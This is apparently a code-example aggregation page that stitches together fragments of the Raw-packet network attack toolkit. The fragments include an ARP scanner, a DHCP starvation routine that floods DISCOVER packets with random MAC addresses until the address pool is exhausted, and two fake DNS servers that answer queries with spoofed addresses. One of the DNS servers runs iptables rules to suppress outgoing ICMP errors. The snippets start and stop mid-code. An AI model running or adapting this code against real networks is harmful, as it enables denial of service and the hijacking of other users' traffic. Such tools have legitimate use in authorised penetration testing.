        if self.target_ip_address is not None:
            if self.base.ip_address_in_range(self.target_ip_address,
                                             first_ip_address,
                                             last_ip_address):
                first_ip_address = self.target_ip_address
                last_ip_address = self.target_ip_address
            else:
                self.base.print_error(
                    "Bad target IP address: ", self.target_ip_address,
                    "; Target IP address must be in range: ",
                    first_ip_address + " - " + last_ip_address)
                exit(1)

        index = 0
        while True:
            try:
                current_ip_address = str(
                    IPv4Address(unicode(first_ip_address)) + index)
            except NameError:
                current_ip_address = str(IPv4Address(first_ip_address) + index)
            index += 1

            try:
                if IPv4Address(unicode(current_ip_address)) > IPv4Address(
                        unicode(last_ip_address)):
                    break
            except NameError:
                if IPv4Address(current_ip_address) > IPv4Address(
                        last_ip_address):
                    break

            arp_request = self.arp.make_request(
                ethernet_src_mac=self.your_mac_address,
                ethernet_dst_mac="ff:ff:ff:ff:ff:ff",
                sender_mac=self.your_mac_address,
                sender_ip=self.your_ip_address,
                target_mac="00:00:00:00:00:00",
                target_ip=current_ip_address)
            arp_requests.append(arp_request)

        try:
            send_socket = socket(AF_PACKET, SOCK_RAW)
            send_socket.bind((self.network_interface, 0))

            number_of_requests = len(arp_requests) * int(self.retry_number)
            index_of_request = 0
            percent_complete = 0

            for _ in range(int(self.retry_number)):
                for arp_request in arp_requests:
                    send_socket.send(arp_request)
                    index_of_request += 1
                    new_percent_complete = int(
                        float(index_of_request) / float(number_of_requests) *
                        100)
                    if new_percent_complete > percent_complete:
                        stdout.write('\r')
                        stdout.write(self.base.c_info + 'Scan percentage: ' +
                                     self.base.cINFO +
                                     str(new_percent_complete) + '%' +
                                     self.base.cEND)
                        stdout.flush()
                        sleep(0.01)
                        percent_complete = new_percent_complete

            stdout.write('\n')
            send_socket.close()

        except OSError as e:
            self.base.print_error('Exception: ', str(e))
            exit(1)

        except error as e:
            self.base.print_error('Exception: ', str(e))
            exit(1)

    # endregion

    # region Scanner
    def scan(self,
             network_interface,
             timeout=3,
             retry=3,
             target_ip_address=None,
             check_vendor=True,
             exclude_ip_address=None):

        # region Set variables
        self.target_ip_address = target_ip_address
        self.network_interface = network_interface
        self.timeout = int(timeout)
        self.retry_number = int(retry)
        # endregion

        # region Run sniffer
        tm = ThreadManager(2)
        tm.add_task(self.sniff)
        # endregion

        # region Run sender
        self.send()
        # endregion

        # region Create vendor list
        if check_vendor:
            self.vendor_list = self.base.get_mac_prefixes()
        # endregion

        # region Wait
        sleep(self.timeout)
        # endregion

        # region Unique results
        for index in range(len(self.results)):
            if self.results[index]['mac-address'] not in self.mac_addresses:
                self.unique_results.append(self.results[index])
                self.mac_addresses.append(self.results[index]['mac-address'])
        # endregion

        # region Reset results and mac addresses list
        self.results = []
        self.mac_addresses = []
        # endregion

        # region Exclude IP address
        if exclude_ip_address is not None:
            self.results = self.unique_results
            self.unique_results = []
            for index in range(len(self.results)):
                if self.results[index]['ip-address'] != exclude_ip_address:
                    self.unique_results.append(self.results[index])
            self.results = []
        # endregion

        # region Get vendors
        for result_index in range(len(self.unique_results)):

            # Get current MAC address prefix
            current_mac_prefix = self.eth.get_mac_prefix(
                self.unique_results[result_index]['mac-address'])

            # Search this prefix in vendor list
            for vendor_index in range(len(self.vendor_list)):
                if current_mac_prefix == self.vendor_list[vendor_index][
                        'prefix']:
                    self.unique_results[result_index][
                        'vendor'] = self.vendor_list[vendor_index]['vendor']
                    break

            # Could not find this prefix in vendor list
            if 'vendor' not in self.unique_results[result_index].keys():
                self.unique_results[result_index]['vendor'] = "Unknown vendor"

        # endregion

        # region Return results
        return self.unique_results
        # endregion

    # endregion

    # region Get MAC address
    def get_mac_address(self,
                        network_interface,
                        target_ip_address,
                        timeout=5,
                        retry=5,
                        exit_on_failure=True):
        try:

            # region Set variables
            self.target_ip_address = target_ip_address
            self.network_interface = network_interface
            self.timeout = int(timeout)
            self.retry_number = int(retry)
            # endregion

            # region Run sniffer
            tm = ThreadManager(2)
            tm.add_task(self.sniff)
            # endregion

            # region Run sender
            self.send()
            # endregion

            # region Wait
            sleep(self.timeout)
            # endregion

            # region Return
            if 'mac-address' in self.results[0].keys():
                return self.results[0]['mac-address']
            else:
                return "ff:ff:ff:ff:ff:ff"
            # endregion

        except IndexError:
            if exit_on_failure:
                self.base.print_error(
                    "Could not find MAC address of IP address: ",
                    target_ip_address)
                exit(1)
            else:
                return "ff:ff:ff:ff:ff:ff"

        except KeyboardInterrupt:
            self.base.print_info("Exit")
            exit(0)
예제 #15
0
def send_dhcp_discover():
    sleep(1)

    eth = Ethernet_raw()
    dhcp = DHCP_raw()

    Base.print_info("Sending discover packets...")
    Base.print_info("Delay between DISCOVER packets: ", str(args.delay),
                    " sec.")
    Base.print_info("Start sending packets: ",
                    str(datetime.now().strftime("%Y/%m/%d %H:%M:%S")))

    discover_raw_socket = socket(AF_PACKET, SOCK_RAW)
    discover_raw_socket.bind((listen_network_interface, 0))

    try:
        while True:

            client_mac = eth.get_random_mac()
            transaction_id = randint(1, 4294967295)

            discover_packet = dhcp.make_request_packet(
                source_mac=your_mac_address,
                client_mac=client_mac,
                transaction_id=transaction_id,
                dhcp_message_type=1,
                host_name=None,
                requested_ip=None,
                option_value=dhcp_option_value,
                option_code=dhcp_option_code,
                relay_agent_ip=your_ip_address)
            discover_raw_socket.send(discover_packet)
            transactions[transaction_id] = client_mac

            if int(time() - start_time) > args.timeout:
                if ack_received:
                    Base.print_success(
                        "IP address pool is exhausted: ",
                        str(datetime.now().strftime("%Y/%m/%d %H:%M:%S")))
                else:
                    Base.print_error("DHCP Starvation failed timeout!")
                sleep(1)
                exit(1)

            sleep(int(args.delay))

    except KeyboardInterrupt:
        Base.print_info("Exit")
        discover_raw_socket.close()
        exit(0)
예제 #16
0

# endregion

# region Main function
if __name__ == '__main__':

    # region Raw-packet modules
    path.append(dirname(dirname(dirname(abspath(__file__)))))
    from raw_packet.Utils.base import Base
    from raw_packet.Utils.network import RawEthernet, RawARP, RawIPv4, RawUDP, RawDHCPv4
    from raw_packet.Utils.tm import ThreadManager
    # endregion

    # region Check user, platform and create threads
    base = Base()
    base.check_user()
    base.check_platform()
    tm = ThreadManager(3)
    # endregion

    # region Set variables
    eth: RawEthernet = RawEthernet()
    arp: RawARP = RawARP()
    ip: RawIPv4 = RawIPv4()
    udp: RawUDP = RawUDP()
    dhcp: RawDHCPv4 = RawDHCPv4()
    # endregion

    try:
        # region Parse script arguments
예제 #17
0
def send_dhcp_request(request):

    # region Global variables
    global start_time
    global ack_received
    global transactions
    global dhcp_server_ip
    global dhcp_server_mac
    global global_socket
    # endregion

    if 'DHCP' in request.keys():

        # region Get reply transaction id, client ip
        xid = request['BOOTP']['transaction-id']
        yiaddr = request['BOOTP']['your-ip-address']
        siaddr = request['BOOTP']['server-ip-address']
        # endregion

        # region Get DHCP server IP
        if dhcp_server_ip is None:
            if siaddr == "0.0.0.0":
                dhcp_server_ip = request['IP']['source-ip']
            else:
                dhcp_server_ip = siaddr
            dhcp_server_mac = request['Ethernet']['source']
        # endregion

        # region Rewrite start time
        start_time = time()
        # endregion

        # region DHCP OFFER
        if request['DHCP'][53] == 2:
            if args.find_dhcp:
                Base.print_success("DHCP server IP: ", dhcp_server_ip)
                Base.print_success("DHCP server MAC: ", dhcp_server_mac)
                Base.print_success("DHCP packet: ")
                print(dumps(request, indent=4))
                exit(0)

            Base.print_info("OFFER from: ", dhcp_server_ip,
                            " your client ip: ", yiaddr)

            try:
                if args.not_send_hostname:
                    host_name = None
                else:
                    host_name = Base.make_random_string(8)

                dhcp = DHCP_raw()
                request_packet = dhcp.make_request_packet(
                    source_mac=your_mac_address,
                    client_mac=transactions[xid],
                    transaction_id=xid,
                    dhcp_message_type=3,
                    host_name=host_name,
                    requested_ip=yiaddr,
                    option_value=dhcp_option_value,
                    option_code=dhcp_option_code,
                    relay_agent_ip=your_ip_address)
                global_socket.send(request_packet)
            except KeyError:
                Base.print_error("Key error, this transaction id: ", hex(xid),
                                 " not found in our transactions!")
            except:
                Base.print_error("Unknown error!")
        # endregion

        # region DHCP ACK
        if request['DHCP'][53] == 5:
            ack_received = True
            Base.print_info("ACK from:   ", dhcp_server_ip,
                            " your client ip: ", yiaddr)
        # endregion

        # region DHCP NAK
        if request['DHCP'][53] == 6:
            Base.print_error("NAK from:   ", dhcp_server_ip,
                             " your client ip: ", yiaddr)
예제 #18
0
# region Authorship information
__author__ = 'Vladimir Ivanov'
__copyright__ = 'Copyright 2019, Raw-packet Project'
__credits__ = ['']
__license__ = 'MIT'
__version__ = '0.0.4'
__maintainer__ = 'Vladimir Ivanov'
__email__ = '*****@*****.**'
__status__ = 'Development'
# endregion

# region Main function
if __name__ == "__main__":

    # region Check user, platform and print banner
    Base = Base()
    Base.check_user()
    Base.check_platform()
    Base.print_banner()
    # endregion

    # region Parse script arguments
    parser = ArgumentParser(description='ARP scan local network')

    parser.add_argument('-i',
                        '--interface',
                        type=str,
                        help='Set interface name for ARP scanner')
    parser.add_argument('-I',
                        '--target_ip',
                        type=str,
예제 #19
0
if __name__ == '__main__':

    # region Import Raw-packet classes
    project_root_path = dirname(dirname(dirname(abspath(__file__))))
    sys_path.append(project_root_path)
    from raw_packet.Utils.base import Base
    from raw_packet.Scanners.scanner import Scanner
    from raw_packet.Scanners.arp_scanner import ArpScan
    from raw_packet.Scanners.icmpv6_scanner import ICMPv6Scan
    from raw_packet.Utils.tm import ThreadManager
    from raw_packet.Utils.network import RawSniff
    from raw_packet.Servers.dns_server import RawDnsServer
    # endregion

    # region Init Raw-packet classes
    base: Base = Base()
    scanner: Scanner = Scanner()
    arp_scan: ArpScan = ArpScan()
    icmpv6_scan: ICMPv6Scan = ICMPv6Scan()
    dns_server: RawDnsServer = RawDnsServer()
    thread_manager: ThreadManager = ThreadManager(5)
    # endregion

    # region Check user, platform and print banner
    base.check_user()
    base.check_platform()
    base.print_banner()
    # endregion

    # region Variables
    target_mac_address: Union[None, str] = None
예제 #20
0
class DnsServer:

    # region Set variables
    base = None
    sniff = None
    dns = None

    rawSocket = None

    network_interface = None
    port = 0
    your_mac_address = None
    your_ip_address = None
    your_ipv6_addresses = None

    target_ip_address = None
    target_ipv6_address = None

    fake_answers = False
    fake_domains = []
    fake_addresses = {}
    no_such_names = []

    DNS_QUERY_TYPES = []
    A_DNS_QUERY = 0
    AAAA_DNS_QUERY = 0

    # endregion

    # region Init
    def __init__(self):
        self.base = Base()
        self.sniff = Sniff_raw()
        self.dns = DNS_raw()

        self.rawSocket = socket(AF_PACKET, SOCK_RAW)

        self.port = 53
        self.A_DNS_QUERY = 1
        self.AAAA_DNS_QUERY = 28

    # endregion

    # region Get first IPv4 or IPv6 address of domain
    @staticmethod
    def _get_domain_address(query_name, query_type=1):

        # Set proto
        if query_type == 28:
            proto = AF_INET6
        else:
            proto = AF_INET

        try:
            # Get list of addresses
            addresses = getaddrinfo(query_name, None, proto)

            # Return first address from list
            return [addresses[0][4][0]]

        except gaierror:

            # Could not resolve name
            return None

    # endregion

    # region DNS reply function
    def _reply(self, request):

        # region This request is DNS query
        if 'DNS' in request.keys():

            for request_query in request['DNS']['queries']:

                # region Get DNS query type
                query_type = request_query['type']
                # endregion

                # region Type of DNS query type: A or AAAA
                if query_type in self.DNS_QUERY_TYPES:

                    try:

                        # region Local variables
                        query_class = request_query['class']
                        answer = []
                        addresses = None
                        # endregion

                        # region Create query list
                        if request_query['name'].endswith("."):
                            query_name = request_query['name'][:-1]
                        else:
                            query_name = request_query['name']

                        query = [{
                            "type": query_type,
                            "class": query_class,
                            "name": query_name
                        }]
                        # endregion

                        # region Script arguments condition check

                        # region Variable fake_answers is True
                        if self.fake_answers:
                            addresses = self.fake_addresses[query_type]
                        # endregion

                        # region Variable fake_answers is False
                        else:

                            # region Fake domains list is set
                            if len(self.fake_domains) > 0:

                                # region Fake domains list is set and DNS query name in fake domains list
                                if query_name in self.fake_domains:

                                    # region A DNS query
                                    if query_type == self.A_DNS_QUERY:

                                        # Fake IPv4 is set
                                        if self.A_DNS_QUERY in self.fake_addresses.keys(
                                        ):
                                            if len(self.fake_addresses[
                                                    self.A_DNS_QUERY]) > 0:
                                                addresses = self.fake_addresses[
                                                    self.A_DNS_QUERY]

                                        # Fake IPv4 is NOT set
                                        else:
                                            addresses = self._get_domain_address(
                                                query_name, query_type)

                                    # endregion

                                    # region AAAA DNS query
                                    if query_type == self.AAAA_DNS_QUERY:

                                        # Fake IPv6 is set
                                        if self.AAAA_DNS_QUERY in self.fake_addresses.keys(
                                        ):
                                            if len(self.fake_addresses[
                                                    self.AAAA_DNS_QUERY]) > 0:
                                                addresses = self.fake_addresses[
                                                    self.AAAA_DNS_QUERY]

                                        # Fake IPv6 is NOT set
                                        else:
                                            addresses = self._get_domain_address(
                                                query_name, query_type)

                                    # endregion

                                # endregion

                                # region Fake domains list is set and DNS query name NOT in fake domains list
                                else:
                                    addresses = self._get_domain_address(
                                        query_name, query_type)
                                # endregion

                            # endregion

                            # region Fake domains list is NOT set
                            else:

                                # region A DNS query
                                if query_type == self.A_DNS_QUERY:

                                    # Fake IPv4 is set
                                    if self.A_DNS_QUERY in self.fake_addresses.keys(
                                    ):
                                        if len(self.fake_addresses[
                                                self.A_DNS_QUERY]) > 0:
                                            addresses = self.fake_addresses[
                                                self.A_DNS_QUERY]

                                    # Fake IPv4 is NOT set
                                    else:
                                        addresses = self._get_domain_address(
                                            query_name, query_type)

                                # endregion

                                # region AAAA DNS query
                                if query_type == self.AAAA_DNS_QUERY:

                                    # Fake IPv6 is set
                                    if self.AAAA_DNS_QUERY in self.fake_addresses.keys(
                                    ):
                                        if len(self.fake_addresses[
                                                self.AAAA_DNS_QUERY]) > 0:
                                            addresses = self.fake_addresses[
                                                self.AAAA_DNS_QUERY]

                                    # Fake IPv6 is NOT set
                                    else:
                                        addresses = self._get_domain_address(
                                            query_name, query_type)

                                # endregion

                            # endregion

                        # endregion

                        # endregion

                        # region Query name in no_such_names list
                        if query_name in self.no_such_names:
                            addresses = ['no such name']
                        # endregion

                        # region Answer addresses is set

                        if addresses is not None:

                            # region Create answer list
                            dns_answer_flags = 0x8580

                            for address in addresses:
                                if address == 'no such name':
                                    dns_answer_flags = 0x8183
                                    answer = []
                                    break
                                else:
                                    answer.append({
                                        "name": query_name,
                                        "type": query_type,
                                        "class": query_class,
                                        "ttl": 0xffff,
                                        "address": address
                                    })

                            # endregion

                            # region Make dns answer packet
                            if 'IP' in request.keys():
                                dns_answer_packet = self.dns.make_response_packet(
                                    src_mac=request['Ethernet']['destination'],
                                    dst_mac=request['Ethernet']['source'],
                                    src_ip=request['IP']['destination-ip'],
                                    dst_ip=request['IP']['source-ip'],
                                    src_port=53,
                                    dst_port=request['UDP']['source-port'],
                                    tid=request['DNS']['transaction-id'],
                                    flags=dns_answer_flags,
                                    queries=query,
                                    answers_address=answer)

                            elif 'IPv6' in request.keys():
                                dns_answer_packet = self.dns.make_response_packet(
                                    src_mac=request['Ethernet']['destination'],
                                    dst_mac=request['Ethernet']['source'],
                                    src_ip=request['IPv6']['destination-ip'],
                                    dst_ip=request['IPv6']['source-ip'],
                                    src_port=53,
                                    dst_port=request['UDP']['source-port'],
                                    tid=request['DNS']['transaction-id'],
                                    flags=dns_answer_flags,
                                    queries=query,
                                    answers_address=answer)

                            else:
                                dns_answer_packet = None
                            # endregion

                            # region Send DNS answer packet
                            if dns_answer_packet is not None:
                                self.rawSocket.send(dns_answer_packet)
                            # endregion

                            # region Print info message
                            if 'IP' in request.keys():
                                if query_type == 1:
                                    self.base.print_info(
                                        "DNS query from: ",
                                        request['IP']['source-ip'], " to ",
                                        request['IP']['destination-ip'],
                                        " type: ", "A", " domain: ",
                                        query_name, " answer: ",
                                        (", ".join(addresses)))
                                if query_type == 28:
                                    self.base.print_info(
                                        "DNS query from: ",
                                        request['IP']['source-ip'], " to ",
                                        request['IP']['destination-ip'],
                                        " type: ", "AAAA", " domain: ",
                                        query_name, " answer: ",
                                        (", ".join(addresses)))

                            if 'IPv6' in request.keys():
                                if query_type == 1:
                                    self.base.print_info(
                                        "DNS query from: ",
                                        request['IPv6']['source-ip'], " to ",
                                        request['IPv6']['destination-ip'],
                                        " type: ", "A", " domain: ",
                                        query_name, " answer: ",
                                        (", ".join(addresses)))
                                if query_type == 28:
                                    self.base.print_info(
                                        "DNS query from: ",
                                        request['IPv6']['source-ip'], " to ",
                                        request['IPv6']['destination-ip'],
                                        " type: ", "AAAA", " domain: ",
                                        query_name, " answer: ",
                                        (", ".join(addresses)))
                            # endregion

                        # endregion

                    except:
                        pass
                # endregion

        # endregion

    # endregion

    # region Start server
    def listen(self,
               listen_network_interface,
               listen_port=53,
               target_mac_address=None,
               target_ip_address=None,
               target_ipv6_address=None,
               fake_answers=False,
               fake_ip_addresses=[],
               fake_ipv6_addresses=[],
               fake_domains=[],
               no_such_names=[],
               listen_ipv6=False,
               disable_ipv4=False):

        # region Set fake answers
        self.fake_answers = fake_answers
        # endregion

        # region Set DNS_QUERY_TYPES
        if listen_ipv6:
            if disable_ipv4:
                self.DNS_QUERY_TYPES = [28]
            else:
                self.DNS_QUERY_TYPES = [1, 28]
        else:
            self.DNS_QUERY_TYPES = [1]
        # endregion

        # region Set listen network interface
        self.network_interface = listen_network_interface
        # endregion

        # region Set listen UDP port
        if listen_port != 53:
            if 0 < listen_port < 65535:
                self.port = listen_port
            else:
                self.base.print_error("Bad value in `listen_port`: ",
                                      str(listen_port),
                                      "; listen UDP port must be in range: ",
                                      "1 - 65534")
                exit(1)
        # endregion

        # region Get your MAC, IP and IPv6 addresses
        self.your_mac_address = self.base.get_netiface_mac_address(
            self.network_interface)
        if self.your_mac_address is None:
            self.base.print_error("Network interface: ",
                                  self.network_interface,
                                  " do not have MAC address!")
            exit(1)

        self.your_ip_address = self.base.get_netiface_ip_address(
            self.network_interface)
        if self.your_ip_address is None:
            self.base.print_error("Network interface: ",
                                  self.network_interface,
                                  " do not have IP address!")
            exit(1)

        if listen_ipv6:
            self.your_ipv6_addresses = self.base.get_netiface_ipv6_link_address(
                self.network_interface)
            if len(self.your_ipv6_addresses) == 0:
                self.base.print_error("Network interface: ",
                                      self.network_interface,
                                      " do not have IPv6 link local address!")
                exit(1)
            else:
                self.fake_addresses[self.AAAA_DNS_QUERY] = [
                    self.your_ipv6_addresses
                ]
        else:
            self.fake_addresses[self.AAAA_DNS_QUERY] = None
        # endregion

        # region Bind raw socket
        self.rawSocket.bind((self.network_interface, 0))
        # endregion

        # region Set fake addresses
        if len(fake_ip_addresses) > 0:
            self.fake_addresses[self.A_DNS_QUERY] = fake_ip_addresses
        else:
            if not disable_ipv4:
                self.fake_addresses[self.A_DNS_QUERY] = [self.your_ip_address]

        if len(fake_ipv6_addresses) > 0:
            self.fake_addresses[self.AAAA_DNS_QUERY] = fake_ipv6_addresses
            if disable_ipv4:
                self.DNS_QUERY_TYPES = [self.AAAA_DNS_QUERY]
            else:
                self.DNS_QUERY_TYPES = [self.A_DNS_QUERY, self.AAAA_DNS_QUERY]
        else:
            if self.fake_answers:
                if listen_ipv6:
                    self.fake_addresses[self.AAAA_DNS_QUERY] = [
                        self.your_ipv6_addresses
                    ]
        # endregion

        # region Set fake domains and "no such names" lists
        self.fake_domains = fake_domains
        self.no_such_names = no_such_names
        # endregion

        # region Check target IPv4 address
        if target_ip_address is not None:
            if not self.base.ip_address_validation(target_ip_address):
                self.base.print_error("Bad target IPv4 address: ",
                                      target_ip_address)
                exit(1)
            else:
                self.target_ip_address = target_ip_address
        # endregion

        # region Check target IPv6 address
        if target_ipv6_address is not None:
            if not self.base.ipv6_address_validation(target_ipv6_address):
                self.base.print_error("Bad target IPv6 address: ",
                                      target_ipv6_address)
                exit(1)
            else:
                self.target_ipv6_address = target_ipv6_address
        # endregion

        # region Sniffing DNS requests

        # region Set network filter
        network_filters = {}

        if target_mac_address is not None:
            network_filters['Ethernet'] = {'source': target_mac_address}
        else:
            network_filters['Ethernet'] = {'not-source': self.your_mac_address}

        if self.target_ip_address is not None:
            network_filters['IP'] = {'source-ip': self.target_ip_address}

        if self.target_ipv6_address is not None:
            network_filters['IPv6'] = {'source-ip': self.target_ipv6_address}

        network_filters['IP'] = {'not-source-ip': '127.0.0.1'}
        network_filters['UDP'] = {'destination-port': self.port}
        # endregion

        # region Clear fake_answers list
        if not self.fake_answers:
            if len(fake_ipv6_addresses) == 0:
                del self.fake_addresses[self.AAAA_DNS_QUERY]
            if len(fake_ip_addresses) == 0:
                del self.fake_addresses[self.A_DNS_QUERY]
        # endregion

        # region Start sniffer
        if listen_ipv6:
            if disable_ipv4:
                self.sniff.start(protocols=['IPv6', 'UDP', 'DNS'],
                                 prn=self._reply,
                                 filters=network_filters)
            else:
                self.sniff.start(protocols=['IP', 'IPv6', 'UDP', 'DNS'],
                                 prn=self._reply,
                                 filters=network_filters)
        else:
            self.sniff.start(protocols=['IP', 'UDP', 'DNS'],
                             prn=self._reply,
                             filters=network_filters)
예제 #21
0
class DnsServer:

    # region Set properties
    _base: Base = Base()
    _utils: Utils = Utils()
    _sniff: RawSniff = RawSniff()
    _dns: RawDNS = RawDNS()

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv6-link-address': None,
        'ipv4-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'mac-address': None,
        'ipv4-address': None,
        'ipv6-address': None
    }
    _config: Dict[str, Dict[str, Union[bool, str, List[str]]]] = dict()

    _A_DNS_QUERY: int = 1
    _AAAA_DNS_QUERY: int = 28
    _NS_DNS_QUERY: int = 2
    _MX_DNS_QUERY: int = 15

    _log_file_name: Union[None, str] = None
    _log_file_format: Union[None, str] = None
    _quit: bool = False

    # endregion

    # region Init
    def __init__(self, network_interface: str):
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=['mac-address', 'ipv4-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

        if self._base.get_platform().startswith('Linux'):
            run('iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP',
                shell=True)
            run('ip6tables -I OUTPUT -p ipv6-icmp --icmpv6-type destination-unreachable -j DROP',
                shell=True)

    # endregion

    # region Start DNS Server
    def start(self,
              listen_port: int = 53,
              target_mac_address: Union[None, str] = None,
              target_ipv4_address: Union[None, str] = None,
              target_ipv6_address: Union[None, str] = None,
              fake_answers: bool = False,
              fake_ipv4_addresses: List[str] = [],
              fake_ipv6_addresses: List[str] = [],
              fake_domains_regexp: List[str] = [],
              no_such_domains: List[str] = [],
              listen_ipv6: bool = True,
              disable_ipv4: bool = False,
              success_domains: List[str] = [],
              config_file: Union[None, str] = None,
              log_file_name: str = 'dns_server_log',
              log_file_format: str = 'csv',
              quiet: bool = False) -> None:
        try:

            # region Variables
            self._log_file_name = log_file_name
            self._log_file_format = log_file_format
            self._quit = quiet
            # endregion

            # region Set listen UDP port
            if listen_port != 53:
                self._utils.check_value_in_range(
                    value=listen_port,
                    first_value=0,
                    last_value=65536,
                    parameter_name='listen UDP port')
            # endregion

            # region Check your IPv6 address
            if self._your['ipv6-link-address'] is None:
                self._your[
                    'ipv6-link-address'] = self._base.make_ipv6_link_address(
                        self._your['mac-address'])
            # endregion

            # region Check config file
            if config_file is not None:
                assert isfile(
                    config_file
                ), 'Not found config file: ' + self._base.error_text(
                    str(config_file))
                with open(config_file, 'r') as config_file_descriptor:
                    self._config = load(config_file_descriptor)
            # endregion

            # region Set fake ipv4 addresses
            if len(fake_ipv4_addresses) == 0:
                fake_ipv4_addresses = [self._your['ipv4-address']]
            else:
                for _fake_ipv4_address in fake_ipv4_addresses:
                    self._utils.check_ipv4_address(
                        network_interface=self._your['network-interface'],
                        ipv4_address=_fake_ipv4_address,
                        is_local_ipv4_address=False,
                        parameter_name='fake IPv4 address')
            # endregion

            # region Set fake ipv6 addresses
            if len(fake_ipv6_addresses) == 0:
                fake_ipv6_addresses = [self._your['ipv6-link-address']]
            else:
                for _fake_ipv6_address in fake_ipv6_addresses:
                    self._utils.check_ipv6_address(
                        network_interface=self._your['network-interface'],
                        ipv6_address=_fake_ipv6_address,
                        is_local_ipv6_address=False,
                        parameter_name='fake IPv6 address',
                        check_your_ipv6_address=False)
            # endregion

            # region Set success domains
            for success_domain in success_domains:
                try:
                    self._config[success_domain].update({'success': True})
                except KeyError:
                    self._config[success_domain] = {'success': True}
            # endregion

            # region Set no such domains
            for no_such_domain in no_such_domains:
                try:
                    self._config[no_such_domain].update(
                        {'no such domain': True})
                except KeyError:
                    self._config[no_such_domain] = {'no such domain': True}
            # endregion

            # region Set fake domains regexp
            for _fake_domain_regexp in fake_domains_regexp:
                try:
                    self._config[_fake_domain_regexp].update({
                        'A':
                        fake_ipv4_addresses,
                        'AAAA':
                        fake_ipv6_addresses
                    })
                except KeyError:
                    self._config[_fake_domain_regexp] = {
                        'A': fake_ipv4_addresses,
                        'AAAA': fake_ipv6_addresses
                    }
            # endregion

            # region Set fake answers
            if fake_answers:
                try:
                    self._config['.*'].update({
                        'A': fake_ipv4_addresses,
                        'AAAA': fake_ipv6_addresses
                    })
                except KeyError:
                    self._config['.*'] = {
                        'A': fake_ipv4_addresses,
                        'AAAA': fake_ipv6_addresses
                    }
            # endregion

            # region Check target MAC address
            if target_mac_address is not None:
                self._target['mac-address'] = self._utils.check_mac_address(
                    mac_address=target_mac_address,
                    parameter_name='target MAC address')
            # endregion

            # region Check target IPv4 address
            if target_ipv4_address is not None:
                self._target['ipv4-address'] = \
                    self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                                   ipv4_address=target_ipv4_address,
                                                   is_local_ipv4_address=False,
                                                   parameter_name='target IPv4 address')
            # endregion

            # region Check target IPv6 address
            if target_ipv6_address is not None:
                self._target['ipv6-address'] = \
                    self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
                                                   ipv6_address=target_ipv6_address,
                                                   is_local_ipv6_address=False,
                                                   parameter_name='target IPv6 address')
            # endregion

            # region Script arguments condition check and print info message
            if not self._quit:

                # region Argument fake_answer is set
                if fake_answers:
                    if not disable_ipv4:
                        self._base.print_info(
                            'DNS answer fake IPv4 addresses: [',
                            (', '.join(fake_ipv4_addresses)),
                            '] for all DNS queries')
                    if len(fake_ipv6_addresses) > 0:
                        self._base.print_info(
                            'DNS answer fake IPv6 addresses: [',
                            (', '.join(fake_ipv6_addresses)),
                            '] for all DNS queries')
                # endregion

                # region Argument fake_answer is NOT set
                else:
                    # region Fake domains list is set
                    if len(fake_domains_regexp) > 0:
                        if len(fake_ipv4_addresses) > 0:
                            self._base.print_info(
                                'DNS answer fake IPv4 addresses: [',
                                (', '.join(fake_ipv4_addresses)),
                                '] for domains: [',
                                (', '.join(fake_domains_regexp)), ']')
                        if len(fake_ipv6_addresses) > 0:
                            self._base.print_info(
                                'DNS answer fake IPv6 addresses: [',
                                (', '.join(fake_ipv6_addresses)),
                                '] for domains: [',
                                (', '.join(fake_domains_regexp)), ']')
                    # endregion

                    # region Fake domains list is NOT set
                    else:
                        if fake_ipv4_addresses != [self._your['ipv4-address']]:
                            self._base.print_info(
                                'DNS answer fake IPv4 addresses: [',
                                (', '.join(fake_ipv4_addresses)),
                                '] for all DNS queries')
                        if fake_ipv6_addresses != [
                                self._your['ipv6-link-address']
                        ]:
                            self._base.print_info(
                                'DNS answer fake IPv6 addresses: [',
                                (', '.join(fake_ipv6_addresses)),
                                '] for all DNS queries')
                    # endregion

                # endregion

                # region Print info message
                self._base.print_info('Waiting for a DNS requests ...')
                # endregion

            # endregion

            # region Sniffing DNS requests

            # region Set network filter
            sniff_filters: Dict = {'UDP': {'destination-port': listen_port}}

            if self._your['network-interface'] != 'lo':
                if self._target['mac-address'] is not None:
                    sniff_filters['Ethernet'] = {
                        'source': self._target['mac-address']
                    }
                else:
                    sniff_filters['Ethernet'] = {
                        'not-source': self._your['mac-address']
                    }

                if self._target['ipv4-address'] is not None:
                    sniff_filters['IPv4'] = {
                        'source-ip': self._target['ipv4-address']
                    }

                if self._target['ipv6-address'] is not None:
                    sniff_filters['IPv6'] = {
                        'source-ip': self._target['ipv6-address']
                    }

                sniff_filters['IPv4'] = {'not-source-ip': '127.0.0.1'}
                sniff_filters['IPv6'] = {'not-source-ip': '::1'}
            else:
                sniff_filters['Ethernet'] = {
                    'source': '00:00:00:00:00:00',
                    'destination': '00:00:00:00:00:00'
                }
                sniff_filters['IPv4'] = {
                    'source-ip': '127.0.0.1',
                    'destination-ip': '127.0.0.1'
                }
                sniff_filters['IPv6'] = {
                    'source-ip': '::1',
                    'destination-ip': '::1'
                }
            # endregion

            # region Start sniffer
            if listen_ipv6:
                if disable_ipv4:
                    self._sniff.start(
                        protocols=['IPv6', 'UDP', 'DNS'],
                        prn=self._reply,
                        filters=sniff_filters,
                        network_interface=self._your['network-interface'],
                        scapy_filter='ip6 and udp port ' + str(listen_port))
                else:
                    self._sniff.start(
                        protocols=['IPv4', 'IPv6', 'UDP', 'DNS'],
                        prn=self._reply,
                        filters=sniff_filters,
                        network_interface=self._your['network-interface'],
                        scapy_filter='udp port ' + str(listen_port))
            else:
                self._sniff.start(
                    protocols=['IPv4', 'UDP', 'DNS'],
                    prn=self._reply,
                    filters=sniff_filters,
                    network_interface=self._your['network-interface'],
                    scapy_filter='udp port ' + str(listen_port))
            # endregion

            # endregion

        except AssertionError as Error:
            self._base.print_error(Error.args[0])
            exit(1)

        except JSONDecodeError:
            self._base.print_error('Could not parse config file: ',
                                   config_file, ' invalid json syntax')
            exit(1)

        except KeyboardInterrupt:
            self._base.print_info('Exit ....')
            exit(0)

    # endregion

    # region Write log file
    def _write_to_log(self, from_ip_address: str, to_ip_address: str,
                      query_type: str, query_name: str, answer_address: str):

        if not isfile(self._log_file_name + '.' + self._log_file_format):
